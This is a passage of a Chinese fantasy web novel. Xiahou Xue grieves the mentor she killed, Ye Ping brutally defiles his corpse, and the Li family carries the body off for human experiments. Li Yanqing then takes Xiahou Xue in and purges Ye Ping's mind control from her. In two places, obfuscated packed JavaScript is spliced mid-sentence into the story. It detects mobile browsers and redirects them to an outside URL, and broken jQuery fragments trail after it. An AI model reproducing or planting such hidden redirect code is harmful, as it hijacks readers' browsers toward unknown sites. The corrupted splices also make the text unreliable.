夏侯雪僵在原地,目光死死盯着张玉汝不断“枯萎”的模样——他的嘴唇渐渐失去血色,原本微微起伏的胸膛彻底平静下来,连眼角那丝未散的温和,都像是被寒霜冻住,成了永恒的定格。 一时间,无数情绪在她心中翻涌:愧疚像潮水般淹没了她,每一次呼吸都带着针扎般的疼。 悔恨紧紧攥着她的心脏,让她连抬手的力气都没有;还有一丝茫然,像浓雾般笼罩着她——她亲手杀**那个教她凝聚冰刃、为她挡过异兽、在她生病时守在床边的人。 她知道这种情绪很可笑——就在片刻之前,她还把他当作杀姐仇人,还带着复仇的执念将刀刺进他的胸膛。 可此刻,看着张玉汝毫无生气的脸庞,夏侯雪不得不承认,她后悔了,后悔得想立刻撕碎自己。 人总是这样,常常在无法认清自己真实想法的时候,凭着一时的执念或他人的蛊惑,做出足以改变一生的关键选择。 等到事后清醒过来,才发现自己选了最错的那条路,才明白自己亲手推开了什么、毁掉了什么。 这种“后知后觉”的清醒,在旁人看来或许寻常,可对于身处其中的人来说,却是最实实在在的折磨。 它像一把钝刀,在心上反复切割,没有鲜血淋漓的剧痛,却有挥之不去的、绵长的苦涩,让人连呼吸都觉得沉重。 夏侯雪的指尖微微颤抖,她想伸手去碰一碰张玉汝的脸颊,想确认那冰冷是否只是错觉。 可刚抬起手,就听到叶平带着满意的笑声从上空传来,那笑声像淬了毒的冰,瞬间将她拉回了残酷的现实。 与夏侯雪的沉默死寂截然不同,叶平在看到张玉汝胸口冰霜彻底冻结、连最后一丝生命气息都消散时,脸上瞬间爆发出难以抑制的喜悦。 那笑容不再是之前的阴狠与伪装,而是纯粹的、近乎失态的兴奋——他悬在半空的脚轻轻晃动,锦袍上的金线因他的动作而闪烁,连眼底的怨毒都暂时被狂喜压了下去,只余下复仇得手的畅快。 但他并没有立刻上前,反而慢条斯理地打了个响指。 清脆的响声刚落,两道黑影便从山谷两侧的树林中窜出,落地时脚步轻得几乎没有声响——是两名气息沉稳的大师级能力者,一人握着泛着寒光的短匕,一人掌心凝聚着淡紫色的能量,显然是叶平安排的后手。 两人对视一眼,小心翼翼地凑到张玉汝身边。 其中一人蹲下身,手指在张玉汝脖颈处停留片刻,又探了探他的鼻息,最后还检查了胸口冰刃造成的伤口,确认那处的心脏早已被冰霜冻裂、毫无跳动迹象后,才抬头对叶平躬身颔首:“大人,已确认死亡。” 得到肯定答复的瞬间,叶平压抑已久的情绪彻底爆发。 他放声大笑起来,笑声粗犷而刺耳,与他贵公子的装扮格格不入,在寂静的山谷中回荡,惊得林间的飞鸟扑棱着翅膀四散逃离。 他快步走下黄金台阶,鞋底踩在青石上发出重重的声响,走到张玉汝身旁时,毫不犹豫地抬起右脚,狠狠踩在了张玉汝的脸上。 “砰!”鞋底与脸颊接触的闷响格外清晰。叶平的力道极大,一脚下去,张玉汝原本就苍白的脸颊瞬间凹陷下去,霜白的发丝被踩得凌乱,沾染上泥土与血迹。 可他还不满足,脚掌在张玉汝的脸上来回碾压,每一次碾动都带着泄愤的狠劲,仿佛要将张玉汝的面容彻底踩碎。 青白色的骨裂声隐约传来,张玉汝的鼻梁被踩断,嘴唇裂开一道深可见骨的伤口,鲜血混着泥土糊满了整张脸,原本温和的眉眼彻底变得残破不堪。 即便如此,叶平依旧没有停下来的意思。 他一边踩,一边咬牙切齿地低吼:“张玉汝!你不是很能打吗?你不是敢杀我弟弟吗?现在怎么不反抗了!你这个蝼蚁!你这个贱种!” 他的声音因愤怒而扭曲,每一个字都像从牙缝里挤出来,显然是要将这些年追踪无果的憋屈、失去弟弟的痛苦,全都化作脚下的力道,发泄在张玉汝早已失去生机的躯体上。 夏侯雪站在一旁,指甲深深嵌进掌心,鲜血顺着指缝滴落都浑然不觉。 她看着张玉汝那张被踩得面目全非的脸,心脏像是被一只冰冷的手紧紧攥住,疼得几乎无法呼吸。 她想冲上去推开叶平,想嘶吼着阻止他的**,可脚步却像灌了铅一样沉重,怎么也迈不开。 她是谁?她是亲手将冰刃刺进张玉汝心脏的凶手,是间接帮叶平完成复仇的“帮凶”。 如今,她又有什么资格去阻止叶平?又有什么脸面去维护这个被自己杀死的人? 无尽的愧疚与自我厌弃像潮水般将她淹没,她只能眼睁睁看着叶平的脚一次次落下,看着张玉汝的躯体在脚下被肆意践踏。 泪水不受控制地涌出眼眶,却连一声呜咽都发不出来,只能任由喉咙里堵着滚烫的苦涩,连呼吸都带着颤抖。 就在叶平的脚还在张玉汝残破的面容上反复碾压,骨裂声与他的低吼交织成刺耳的声响时。 一道清冷的女声突然从山谷入口传来,打破了这份暴戾的氛围:“好了,叶平,差不多可以了。” 夏侯雪循声望去,只见一名女子正缓步走来。 她身着一袭月白色的淡雅长裙,裙摆绣着几枝疏淡的墨竹,没有任何多余的珠宝装饰,却难掩周身清贵的气质。 她的长发松松挽成一个发髻,仅用一支玉簪固定,露出的脖颈纤细白皙;眉眼间带着几分疏离的冷淡,眼神平静得像深不见底的湖水,即便看到地上张玉汝的惨状,也没有丝毫波动。 她走得极慢,每一步都从容不迫,仿佛不是置身血腥的战场,而是漫步在自家的庭院之中。 叶平听到声音,脚下的动作顿了顿,却没有立刻停下,反而侧过头,挑眉看向来人,语气里带着几分不耐与讥讽:“怎么,李砚卿?难道你和这家伙还有什么私交不成?舍不得我踩他了?” 话音落下,他甚至故意加重了脚掌的力道,“咔嚓”一声轻响,张玉汝脸颊的骨骼又碎了一块,泥土与血迹沾得他鞋底满是污秽。 “无聊的家伙。” 李砚卿停下脚步,距离叶平约莫三丈远,目光淡淡扫过他脚下的躯体,语气里没有丝毫情绪起伏,仿佛在评价一件无关紧要的物品。 她对叶平的暴戾没有任何兴趣,也懒得去指责,只是径直切入正题。 “不要忘了,我们李家和你合作的条件。” 李砚卿的声音依旧平静,却带着不容置疑的分量。 “我们帮你牵制张玉汝、提供惰性金属材料,是为了拿到他的躯体做实验,研究速度类大师级能力者的种种特征——而不是让你在这里发泄私愤,把实验素材破坏得面目全非。” 她顿了顿,目光落在张玉汝胸口那柄还插着的冰刃上,眉头微不可察地蹙了一下:“现在他的躯体已经有损伤,若是你再继续下去,连核心能量都被你踩散,这素材就彻底没用了。” 说到这里,她的语气冷了几分,“如果你还打算这样下去,我认为我们之间的合作关系,需要重新考虑了。” “啧。”叶平狠狠 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可即便是这样的大家族,也有影响力触达不到的地方——雍州的天人李家,便是其中之一。 作为扎根雍州数千年的老牌天人家族,李家早已将势力渗透进雍州的每一寸土地,小到城镇的能力者登记,大到边境的异兽防线调度,几乎都离不开李家的默许。 他们向来奉行“低调掌权”的准则,平日里极少亲自出面参与纷争,可若是有人想在雍州地界、尤其是在李家的核心腹地长安城办些什么事,却绝对绕不开这尊“地头蛇”。 哪怕是叶家这样的顶尖家族,没有李家点头,也很难在雍州顺利调动资源。 李家与叶家的关系本就寻常,甚至带着几分隐性的竞争。 当初叶平为了追捕张玉汝,第一次派人前往雍州李家求援时,便吃了闭门羹。 彼时李家正被边境异兽迁徙的事搅得焦头烂额——益州的异兽防线突然出现缺口,大量异兽绕过防线涌入雍州,导致雍州边境的数个小镇被损毁,李家耗费了大量人力物力才勉强稳住局势。 而明眼人都知道,益州防线的漏洞,根源在于叶家之前对当地势力的过度干预,间接削弱了防线的防御力量。 正因如此,李家对叶家本就心存不满,自然不会轻易答应帮他们收拾烂摊子。 叶平起初还想凭借叶家的名头施压,可眼看张玉汝在雍州的行踪愈发隐蔽,甚至开始暗中调查柳家与魏家的秘密实验,事情的走向却突然发生了转折——张玉汝追查的那些实验,恰好触碰到了李家的核心利益。 原来柳家与魏家的实验背后,一直有李家在暗中提供资源支持,实验所研究的种种技术,本是李家计划用来提升族内实力的关键项目。 他们担心张玉汝继续追查下去,会发现实验与李家的关联,一旦秘密曝光,不仅会引来其他天人家族的觊觎,还可能遭到普通能力者的抵制,最终让李家多年的投入付诸东流。 正是这份“利益受损”的危机感,让李家改变了态度。 他们主动联系叶平,提出愿意合作对付张玉汝——李家负责提供雍州的人脉、资源,以及能克制张玉汝「枯荣」能力的惰性金属材料,协助叶平布下傀儡陷阱。 而作为交换,事成之后,张玉汝的尸体必须交由李家处理,供他们进行深度研究。 李家对张玉汝的兴趣,早已不止于“防止秘密曝光”。 张玉汝展现出的实力实在太过惊人——以大师级的修为硬撼天人,甚至亲手击杀了叶家公子叶光,这份对天人的“杀伤力”,让一直致力于提升家族实力的李家极为好奇。 他们想知道,张玉汝的身体里究竟藏着什么秘密,他的能力为何如此特殊,若是能从他的尸体中研究出强化能力的方法,对李家来说将是难以估量的收获。 也正因如此,叶平才能在雍州顺利布下针对张玉汝的杀局。 若没有李家这位“地头蛇”提供的便利,仅凭叶家自己的力量,想要在陌生的雍州困住并击**惕性极强的张玉汝,恐怕还要多费数倍的功夫,甚至未必能成功。 第 38章 交换 看着李家侍从将张玉汝的尸体小心翼翼抬上金属担架,叶平整理了一下被踩脏的衣摆,脸上的暴戾早已褪去,重新变回了那副矜贵从容的模样。 他上前一步,目光落在李砚卿身上,语气带着不容置喙的强势。 “这家伙的尸体,你可以带走,但后续的研究成果,叶家必须拿到一份。而且在研究过程中,叶家要派代表全程在场,确保你们没有隐瞒任何关键信息。” 明明是讨价还价的内容,从他口中说出来时,却像是上位者对下属的吩咐——每一个字都带着微妙的韵律,尾音轻轻上扬,仿佛带着一种无形的引力,让人下意识地想要点头应承。 连一旁的夏侯雪都感觉到,一股微弱的力量在耳边萦绕,让她的思绪变得有些迟钝,若非心中满是对张玉汝的愧疚,恐怕真的会不由自主地认同叶平的话。 可这番话落在李砚卿耳中,却只换来她一声冷淡的嗤笑:“别**你那些恶心人的手段了。” 她的眼神锐利如刀,直直射向叶平,“不过是些粗浅的精神暗示,也敢在我面前班门弄斧?” 叶平脸上的笑容僵了一瞬,随即又恢复如常,甚至还带着几分坦然:“不好意思,习惯了。” 他倒也不掩饰——作为叶家嫡系,这种近乎本能的精神操控,早已融入他的言行举止之中。 李砚卿心中再清楚不过,天人各家都在暗中探索新的能力类型,而叶家最擅长的,便是精神与心灵操控领域。 他们虽尚未找到稳定传承这种能力的方法,却能通过特殊的秘术,将提炼出的精神能量赋予族内子弟或下属能力者。 叶平作为叶家重点培养的后辈,不仅接受了这种能力传承,还将其打磨到了大师级水准。 他方才说话时那股让人不自觉服从的魔力,正是源于这种精神暗示能力,能悄无声息地影响他人的判断,让对方在潜意识里认同他的观点。 只是这种能力,在同为天人、且对叶家手段早有了解的李砚卿面前,根本毫无作用。 她从小便接受过抵御精神操控的训练,叶平这点微末伎俩,在她眼中与“无聊的把戏”别无二致。 “研究成果可以分你们一份,叶家也能派代表在场。”李砚卿沉默片刻,终究还是松了口。 她虽对叶平的手段和人品极为厌恶,却也清楚,这次与叶家的合作是李家家主亲自定下的方向。 李家需要借助叶家在先导会的影响力,掩盖实验的秘密;叶家则需要李家的地域优势困住张玉汝。 这份合作关乎家族利益,她不能因为个人情感,就破坏两家达成的共识。 说罢,李砚卿不再看叶平,转身对侍从吩咐:“把尸体看好,立刻带回实验室,别出任何差错。” 侍从恭敬应下,抬着金属担架快步向山谷外走去,担架上的张玉汝面色苍白,霜白的发丝垂落在脸颊两侧,依旧是那副毫无生机的模样。 叶平看着担架远去的方向,眼底闪过一丝贪婪——他要的不仅是复仇的快感,更想从张玉汝的尸体中,找到克制这种“能击杀天人的大师级能力者”的方法。 只要拿到研究成果,无论是他自己在叶家的地位,还是叶家的整体实力都一定能够再上一个台阶。 ———————————————————————————————————— 李家的效率快得惊人。 作为暗中操控雍州诸多家族的“操盘手”,他们在这片地界上调动资源,如同呼吸般自然——无需声张,只需几道隐秘指令,便能让整个雍州的地下势力为其运转。 张玉汝的尸体刚被抬出山谷,就被转移到了一辆特制的黑色马车中。 马车车厢由防能量泄露的合金打造,车窗贴着遮光黑布,连车轮都裹着静音棉,行驶在长安城的街巷中,悄无声息得像一道影子。 不到半个时辰,马车便驶入了城郊一座看似废弃的庄园,穿过层层伪装的石壁暗门,最终停在了一处深入地下的实验室前。 实验室内部早已灯火通明,空气中弥漫着消毒水与金属冷却剂混合的刺鼻气味。 十几名穿着白大褂的专家正围在中央的实验台旁忙碌,他们中有头发花白的老者,也有眼神锐利的中年人,每个人胸前都别着不同家族的徽章——柳家、魏家、秦家、赵家,正是雍州四大家族的核心实验人员。 这些人手里握着精密的仪器,桌面上摊着标注着复杂数据的图纸,显然早已做好了准备,只待“实验素材”送达。 没人会天真地以为这些实验是李家亲自动手——人体实验的红利,李家要牢牢攥在手里,但这种会脏了手、甚至可能留下把柄的工作,他们从不愿沾身。 而雍州四大家族,便是他们精心挑选的“脏手套”。 这事起初本是柳家单独负责,他们借着与李家的微弱联系,率先拿到了实验资源,试图独占的成果。 可世上没有不透风的墙,巨大的利益像血腥味般吸引了其他家族,他们通过各种和平的或者是不和平的手段参与其中。 短短半年,这场实验便从柳家的“独食”,变成了四大家族牵头、成百上千小型势力跟风加入的庞大利益链条。 这些势力要么提供资源,要么负责掩护,要么参与后期处理,他们早已是一根绳上的蚂蚱。 而张玉汝追查柳家、魏家实验的行为,无疑是要刨断这根利益链的根基——一旦实验的阴暗真相被揭穿,不仅四大家族会身败名裂,那些依附于他们的小势力也会跟着覆灭。 所以,张玉汝从踏上长安城土地的那一刻起,就成了整个利益集团的共同敌人。 正因如此,当李家制定出针对张玉汝的方案后,整个长安城都在悄然动起来,城门的守卫对形迹可疑者盘查得愈发严格,甚至连街巷里的乞丐,都在暗中留意着与张玉汝相似的身影。 一个天人顶级家族能动用的资源,从来都不是几具傀儡、几名**那么简单——它是渗透在方方面面的无形网络,能在不知不觉中,将目标困死在绝境里。 可即便有如此庞大的资源,李家自始至终都没派过家族里的顶尖战力直接抓捕张玉汝,反而费尽心机用傀儡、用夏侯雪来设局。 原因只有一个:他们不敢惊动那位镇守雍州的大宗师。 那位大宗师常年隐居在长安城郊外的终南山上,虽不问世事,却如同雍州的定海神针。 天人虽自视甚高,觉得自己凌驾于普通能力者之上,却绝不敢无视一名大宗师的存在。 大宗师的战力早已超越普通人所能够理解的范畴,若真惹得对方出手,别说几个家族,就算是整个先导会,都要掂量掂量后果。 李家平日里与那位大宗师维持着表面的和睦,逢年过节会派人送上厚礼,偶尔遇到危机,也会请对方出手相助。 可这种“和睦”,仅限于双方井水不犯河水——李家很清楚,那位大宗师一心求道,想要突破成为泰斗级能力者,所以才对于其他事情不太关心。 但这并不代表着对方对于雍州这片土地就毫无责任心,在异兽潮来到雍州之后,那位大宗师已经动身前往前线拦下来绝大多数的异兽。 若是直接派顶尖战力抓捕张玉汝,动静太大,难免会引起大宗师的注意;一旦让对方察觉到实验的真相,不仅李家会遭到重创,整个雍州的利益链条都会瞬间崩塌。 说到底,他们所追逐的利益,所做的一切勾当,终究是见不得光、上不得台面的生意。 只能在黑暗里偷偷进行,一旦暴露出来,便会像阳光下的冰雪般,瞬间消融。 将张玉汝的尸体移交到李家负责实验的嫡系子弟手中时,李砚卿特意确认了金属担架上的束缚装置稳定性。 那些泛着冷光的合金锁链能牢牢锁住躯体,防止残留的能量逸散,也避免出现任何意外。 待子弟恭敬地应下“定不负所托”,她才转身,没有多停留片刻的打算,径直朝着实验室外走去。 刚走到门口,便撞见了正搓着手、满眼兴奋的叶平。 他显然是打算留下来观摩实验,锦袍上还沾着之前踩过张玉汝的血迹,却丝毫不在意。 他的视线频频往实验台的方向瞟,连说话都带着几分急切:“李砚卿,不多留会儿看看?说不定能早点发现这小子的能力秘密……” 话没说完,他的目光突然落在了李砚卿身后——夏侯雪正垂着头站在那里,脸色苍白如纸,指尖还沾着未干的血迹,像个被遗弃的木偶,显然是被叶平随手丢在一旁,无人理会。 李砚卿顺着他的视线看了眼夏侯雪,脚步顿住,直接开口:“她,我要带走。” 叶平愣了愣,随即嗤笑一声。 在他眼里,夏侯雪早已是失去利用价值的棋子——能用的只有那身被叶家临时灌输的冰霜能量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497953|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如今张玉汝已死,这枚棋子连“刀”的作用都没了。 若李砚卿没提这个要求,他回头只会找个偏僻的巷子,让手下随手处理掉,省得留着浪费粮食。 可转念一想,他脸上的轻蔑又变成了算计的笑,故意拖长了语调:“哦?李砚卿你要她做什么?这丫头可是亲手杀了张玉汝的潜力新星,叶家对她的投入可是相当巨大的。” 他话里话外都在抬高夏侯雪的“价值”,仿佛前一秒还想弃之如敝履的人不是他——此刻李砚卿主动开口要,这丫头倒成了他能拿捏的筹码,得先摆出“不愿轻易放手”的姿态。 李砚卿显然看穿了他的心思,眼底掠过一丝不耐,没功夫和他绕圈子,直接道:“我要带走她,算我欠你一个人情。” 这话一出,叶平脸上的算计瞬间烟消云散,取而代之的是毫不掩饰的笑意。 他心里打得比谁都清楚:在抓到张玉汝之前,夏侯雪或许还有几分利用价值,能和李砚卿的人情勉强扯平。 可如今张玉汝已死,大仇得报,后续还得靠李家的研究成果,一个没用的夏侯雪,哪能比得上李砚卿的人情? 要知道,李砚卿作为李家嫡系,她的人情意味着未来在雍州办事能少走无数弯路,甚至可能换来李家在天人内部会议上的支持,这可比一个弃子值钱多了。 “哈哈哈,既然砚卿你都这么说了,那还有什么不答应的?”叶平立刻换上爽朗的表情,甚至主动侧身让开道路。 他对着夏侯雪抬了抬下巴,“还不快跟砚卿走?以后可得好好听砚卿的话,别浪费了这好机会。” 夏侯雪依旧低着头,没什么反应,直到李砚卿轻轻碰了碰她的胳膊,才像回过神般,跟着李砚卿的脚步向外走。 路过叶平身边时,她能清晰地感觉到叶平那道冰冷的、毫无温度的视线——那眼神里没有丝毫惋惜,只有“筹码交换成功”的满意,让她心底一阵发凉。 李砚卿没有回头,只是脚步平稳地带着夏侯雪穿过长长的走廊,实验室里隐约传来仪器启动的嗡鸣声,还有叶平兴奋的交谈声,这些声音像针一样扎在夏侯雪心上,让她忍不住攥紧了拳头,指甲再次嵌进掌心。 穿过实验室厚重的合金闸门,又沿着幽深的石廊走了许久,直到清新的晚风拂过脸颊,带着庭院里草木的清香,夏侯雪紧绷的肩膀才终于微微松弛,苍白的脸色也稍稍有了几分血色。 方才在实验室里闻到的消毒水味、听到的仪器嗡鸣,还有叶平那副贪婪的嘴脸,都像无形的枷锁,让她几乎喘不过气,此刻远离了那片压抑的区域,才总算找回了几分呼吸的力气。 李砚卿走在前面,月白色的裙摆扫过青石板路,没有回头,却像是能感知到夏侯雪的状态,脚步不自觉放慢了些。 两人穿过两道挂着墨竹帘的圆门,最终停在一处雅致的小院前——院墙是用淡青色的砖石砌成,墙头爬着几株淡紫色的藤蔓,院门口摆放着两盆修剪整齐的兰草,叶片上还沾着傍晚的露水,看起来静谧又清幽。 这里没有李家主宅的奢华,也没有实验室的冰冷,只有一种恰到好处的安宁,显然是李砚卿平日里独自居住的地方。 夏侯雪站在院门口,有些局促地攥着衣角,目光下意识扫过院内——青石铺就的小径蜿蜒通向正屋,两侧种着几棵桂花树,枝叶繁茂;小径旁的石桌上,还放着一套未收起的茶具。 “你就住在这里吧。”李砚卿转过身,目光淡淡落在夏侯雪身上,随即抬手指向院内东侧的一间客房。 那间屋子的门窗漆着浅棕色的木漆,窗台上摆着一盆小小的多肉植物,看起来干净又整洁。 “那是客房,平日里用来接待客人,你暂且住着,缺什么再跟我说。”她语气依旧平静,没有多余的寒暄,却也没有什么不耐的情绪。 能住进李砚卿的私人小院,甚至被安排进接待客人的客房,已是极大的礼遇——以李砚卿的身份和性子,寻常人连踏入这小院的资格都没有,更别说在此居住。 她张了张嘴,想道谢,喉咙却像是被什么堵住,最终只化作一声极轻的“嗯”。 晚风再次吹过,桂花树的枝叶轻轻晃动,发出细碎的声响,掩盖了夏侯雪细微的呼吸声。 她看着李砚卿的背影,心里满是疑惑——这位李家嫡系为什么要救自己?是真的想帮她,还是另有目的? 第 39章 听话 夏侯雪站在客房门口,心底的念头像缠成一团的棉线。 或许沉默下去真的是最好的选择,不用再纠结“对错”,不用再面对那些有口难言的愧疚,只要按照李砚卿的要求行事,像之前被叶家掌控时那样,继续随波逐流就好。 把自己的未来彻底交出去,虽说再也没有自主选择的自由,却也能躲开选择带来的痛苦。 就像溺水的人抓住浮木,哪怕知道浮木未必能带你上岸,也总比在水里挣扎着窒息要好。 可……这真的是她想要的吗?想起张玉汝最后温和的眼神,想起父亲临终前“不要活在仇恨里”的叮嘱,她攥紧的衣角微微颤抖,终究还是没忍住,抬头看向转身要走的李砚卿:“你为什么要帮我?” 李砚卿的脚步顿住,却没有回头,只是侧过脸,目光落在院中的桂花树上,语气平淡得像在说一件无关紧要的事:“看来叶平在你身上施加的精神暗示,还没被完全清除。” 夏侯雪愣了愣,刚想追问“什么暗示”,就被李砚卿打断:“集中精神,别想其他的。” 她的声音带着不容置疑的力量,夏侯雪下意识停下思绪,将所有注意力都放在了李砚卿身上——就像当初跟着张玉汝学凝聚冰刃时那样,不敢有半分分心。 只见李砚卿缓缓抬起右手,指尖先是泛起一点极淡的青色微光,紧接着,细碎的冰霜从她掌心悄然凝结,顺着指尖向下流淌,最终在她手心里汇聚成一团悬浮的青色霜雪。 那霜雪泛着冷冽却纯净的光泽,每一片冰晶都透着熟悉的纹路,熟悉到夏侯雪几乎要脱口而出——这分明是她无数次在自己掌心看到的景象,是独属于她「青霜」能力的形态。 “这是……”夏侯雪的声音带着迟疑,瞳孔微微收缩,目光死死盯着那团青色霜雪,心脏像是被什么东西轻轻撞了一下,泛起一阵奇异的共鸣感。 “青霜。”李砚卿收回目光,看向夏侯雪,掌心的霜雪依旧悬浮着,没有丝毫消散的迹象,“我觉醒的能力,和你一样。” 夏侯雪僵在原地,一时忘了呼吸。 她知道掌握冰霜能力的人不算罕见,可“青霜”不同——这种带着独特青色光泽、能冻结能量流动的冰霜能力,在整个雍州都鲜有记载。 她从小到大,只在自己身上见过这种能力,从未想过会遇到第二个拥有完全相同觉醒能力的人。 院中的晚风再次吹过,桂花树的枝叶轻轻晃动,将细碎的光影洒在两人身上。 夏侯雪看着李砚卿掌心那团与自己同源的青色霜雪,突然明白了什么。 或许正是这份跨越血缘与立场的“能力共鸣”,这份奇妙的缘分,才让李砚卿在所有人都把她当作弃子时,选择将她从叶平手中带走。 “注意看。”李砚卿的声音适时响起,打断了夏侯雪纷飞的思绪。 她抬眼望去,只见李砚卿指尖的青色霜雪正缓缓流转,原本松散的冰晶逐渐凝聚,最终化作一枚透亮的青色冰晶。 冰晶呈六棱状,表面泛着冷冽的光泽,像一颗被精心打磨过的宝石,悬浮在两人之间。 夏侯雪下意识将目光凑近冰晶,可视线穿过晶面时,眼前的景象却骤然变换——没有了雅致的小院,没有了李砚卿的身影,取而代之的是一个纯粹由冰霜构成的世界。 这里天地皆白,脚下是厚厚的冰晶地面,抬头是漫无边际的青色雪雾,空气中漂浮着细碎的冰屑,连呼吸都带着冰凉的触感。 而在这片寒冷澄澈的天地间,唯有无数青色冰霜凝结成的花朵,在雪雾中静静绽放。 有的像初绽的梅,有的像盛放的兰,花瓣上的纹路清晰可见,除了棱角比真实花朵更锐利几分,其余细节竟与真实花卉别无二致。 李砚卿并未进入这个冰晶世界,这里只有夏侯雪一人,连风声都带着几分空旷的寂静。 她站在原地,正想伸手触碰身旁的冰花,一股寒风突然从身后袭来,带着能穿透衣物的刺骨凉意,瞬间裹住了她的全身。 奇怪的是,本该在寒风中瑟瑟发抖的夏侯雪,却下意识抬手解开了外衫的系带。 单薄的内衫下,她的肩膀微微泛红,却没有丝毫冷意,反而觉得身体里有什么东西在随着寒风轻轻舒展。 紧接着,大片雪花从雪雾中飘落,起初只是零星几点,很快便成了鹅毛大雪,落在她的发间、肩头,渐渐堆积,将她的身体一点点掩盖。 当积雪没过脚踝,夏侯雪忽然觉得心口一松——仿佛有层无形的薄膜被冰雪融化,原本藏在身体深处的一股陌生能量,正被这股寒意驱赶着,在四肢百骸间四处游窜。 那股能量带着叶平精神暗示的残留气息,之前一直潜伏在她的潜意识里,让她不由自主地遵从着“他人安排”。 此刻,那股能量在冰霜世界的寒意中,一点点被逼出体外,化作一缕缕淡黑色的雾气,消散在雪雾里。 随着最后一丝黑色雾气消散,夏侯雪的脑海突然一阵清明——被叶平篡改的记忆碎片开始回笼:叶家之人第一次找到她时,眼底一闪而过的算计。 被灌输“张玉汝是仇人”时,心底那丝莫名的抗拒;甚至父亲临终前,握着她的手反复叮嘱“别被仇恨蒙蔽”的模样,都变得清晰起来。 “呜……”冰晶在她的眼角凝结,化作冰冷的泪珠滚落,落在冰晶地面上,碎成细小的冰渣。 与此同时,外界的景象突然回笼——她依旧站在小院的客房门口,李砚卿的指尖还悬浮着那枚青色冰晶。 李砚卿看着她泛红的眼眶和微微颤抖的肩膀,轻轻叹了口气,收回了冰晶:“看来你身上的心灵暗示,已经清除干净了。” 她抬手挥了挥,空气中残留的青色霜雾瞬间消散,仿佛刚才那个冰霜世界从未存在过。 唯有夏侯雪眼角未化的冰晶,和心底彻底清明的思绪,证明着刚才那场奇妙的“净化”,真实发生过。 “我究竟……都做了些什么。”夏侯雪缓缓低下头,声音轻得像风中的碎雪,带着难以抑制的颤抖。 她的指尖无意识地凝聚起青色冰霜,那冰霜比以往任何时候都要锋利,竟径直穿透了自己的手掌——没有刻意用力,却像有自主意识般,轻易划破了皮肉。 鲜血从掌纹中渗出,一滴滴顺着指缝往下坠,可还没等落在青石板上,就被掌心残留的冰霜瞬间冻结,变成了一颗颗殷红的冰晶。 这些冰晶越积越多,很快便将她的双手包裹,像两副冰冷的血晶手套,刺痛感顺着指尖蔓延至心脏,可她却像毫无察觉般,任由冰霜继续在伤口处凝结,仿佛只有这样的疼痛,才能稍稍缓解心底的愧疚。 李砚卿就站在不远处,目光落在她流血的手上,却没有半分动容,仿佛眼前的景象只是寻常的落叶飘零。 她平静地开口,回答的仍是夏侯雪最初的问题:“你同我有几分缘分——同是「青霜」使用者,我不愿你在叶平那里再受其他**,这就是我出手的原因。” 夏侯雪猛地抬起头,眼中还凝着未化的冰晶,声音带着一丝急切的恳求:“那你能不能……能不能救救张玉汝?哪怕只是……” “不能。”李砚卿没有等她把话说完,便干脆利落地打断,语气没有丝毫起伏,像在陈述一个既定的事实。 她往前走了两步,月白色的裙摆扫过地面的落叶,声音依旧冰冷而沉静:“我帮你,是一时兴起,而且不需要付出太大代价——不过是从叶平手里要个人,欠个人情,对我而言不算什么。但对于张玉汝的事情,我无能为力,况且就算我有那个能力,也不会出手。” 这话像一盆冰水,从夏侯雪的头顶浇下,让她瞬间僵在原地。 她看着李砚卿那双毫无波澜的眼睛。 若是在其他时候,看到李砚卿这般从容冷静、不为外物所动的姿态,夏侯雪或许会心生羡慕——她一直渴望能有这样的定力,不用被情绪左右。 可此刻,当这份“冷”直接对着自己的恳求时,她只觉得一股深深的无力感包裹了全身,连呼吸都变得沉重。 这样的人,心思比寒潭还深,立场比磐石还稳,她所做的决定,又岂是自己几句带着哭腔的恳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503860|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求,就能轻易改变的? 夏侯雪张了张嘴,还想再说些什么,却发现喉咙里像堵了一团冰,什么声音都发不出来,只能任由掌心的冰晶越结越厚,将那份求而不得的绝望,牢牢冻在心底。 院中的桂花树又落下几片叶子,恰好落在夏侯雪脚边,被她周身的寒气冻成了脆片,轻轻一碰便碎成了渣。 院中的风渐渐停了,桂花树叶不再晃动,连空气都仿佛跟着沉静下来。 许是同属「青霜」能力者带来的先天好感,让李砚卿原意多向对方解释几句。 她看着夏侯雪掌心凝结的血晶,沉默片刻后,缓缓开口,语气比之前多了几分不易察觉的松弛,却依旧带着化不开的冷静。 “你或许觉得我冷漠,可在李家这样的家族里,冷漠是最好的保护色。”她抬手拂去肩头一片飘落的桂花,指尖的动作很轻,眼底却没有半分温度。 “我能走到今天这个位置,能被族里信任,让我负责部分实验事宜,除了早年在能力上花的苦功,最大的原因其实是——我听话。” “听话?”夏侯雪抬起头,疑惑地看向她,掌心的刺痛似乎都减轻了几分。 在她眼里,李砚卿这般清贵又强大的人,本该是随心所欲的,怎么会用“听话”来定义自己? “对,听话。”李砚卿重复了一遍,语气没有起伏,仿佛在说别人的事。 “李家子弟众多,比我天赋高、比我努力的人不在少数,可他们要么太有‘自己的想法’,要么忍不住为旁的事分心,最后能站在核心位置的,大多是像我这样‘懂分寸’的人。” 她顿了顿,目光落在院墙上的藤蔓上,像是在回忆什么。 “我十五岁那年,族里让我放弃研究多年的冰系防御术,转去专攻攻击性更强的「青霜刃」,理由是家族需要能快速斩杀异兽的战力。 